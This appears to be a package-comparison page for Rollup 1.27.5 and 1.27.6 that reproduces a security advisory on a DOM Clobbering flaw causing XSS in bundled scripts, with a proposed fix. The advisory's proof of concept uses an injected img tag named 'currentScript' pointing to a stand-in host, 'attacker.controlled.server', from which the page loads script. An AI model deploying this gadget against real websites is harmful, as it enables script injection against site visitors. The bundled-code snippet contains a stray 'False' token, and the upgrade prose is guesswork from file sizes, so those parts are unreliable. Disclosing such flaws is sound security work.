Rollup 1.27.6 is a patch release over 1.27.5 in the 1.x series of this next-generation ES module bundler. Both versions share the same core dependencies like acorn for JavaScript parsing, @types/node, and @types/estree for TypeScript definitions, maintaining a consistent foundation for module bundling. Diving into the development dependencies, both versions are identical, indicating that the tooling and build process are consistent. This common tooling includes essentials like eslint for code linting, mocha for testing, terser for code minification, and a plethora of rollup plugins to enable various functionalities such as resolving commonjs modules, typescript files, and handling JSON or string imports.
The key difference between the two versions lies in the release date and unpacked size contained in the dist object. 1.27.6 was released on 2019-11-30 having an unpacked size of 2188298 bytes, slightly larger than 1.27.5 released several days prior on 2019-11-25 having an unpacked size of 2185599. This minor increment in unpacked size suggests that the patch version primarily addresses small bug fixes and minor enhancements, rather than introducing new features or significantly altering existing code. The increased amount of bytes is usually composed with bug fixes, documentation updates, or small dependency updates. Upgrading from 1.27.5 to 1.27.6 is likely a safe and recommended update for most users, ensuring they benefit from the latest stability improvements. Developers should expect a seamless transition, with no breaking changes or major API alterations. Essentially, 1.27.6 refines the established functionality of 1.27.5.
All the vulnerabilities related to the version 1.27.6 of the package
DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
rollupWe have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;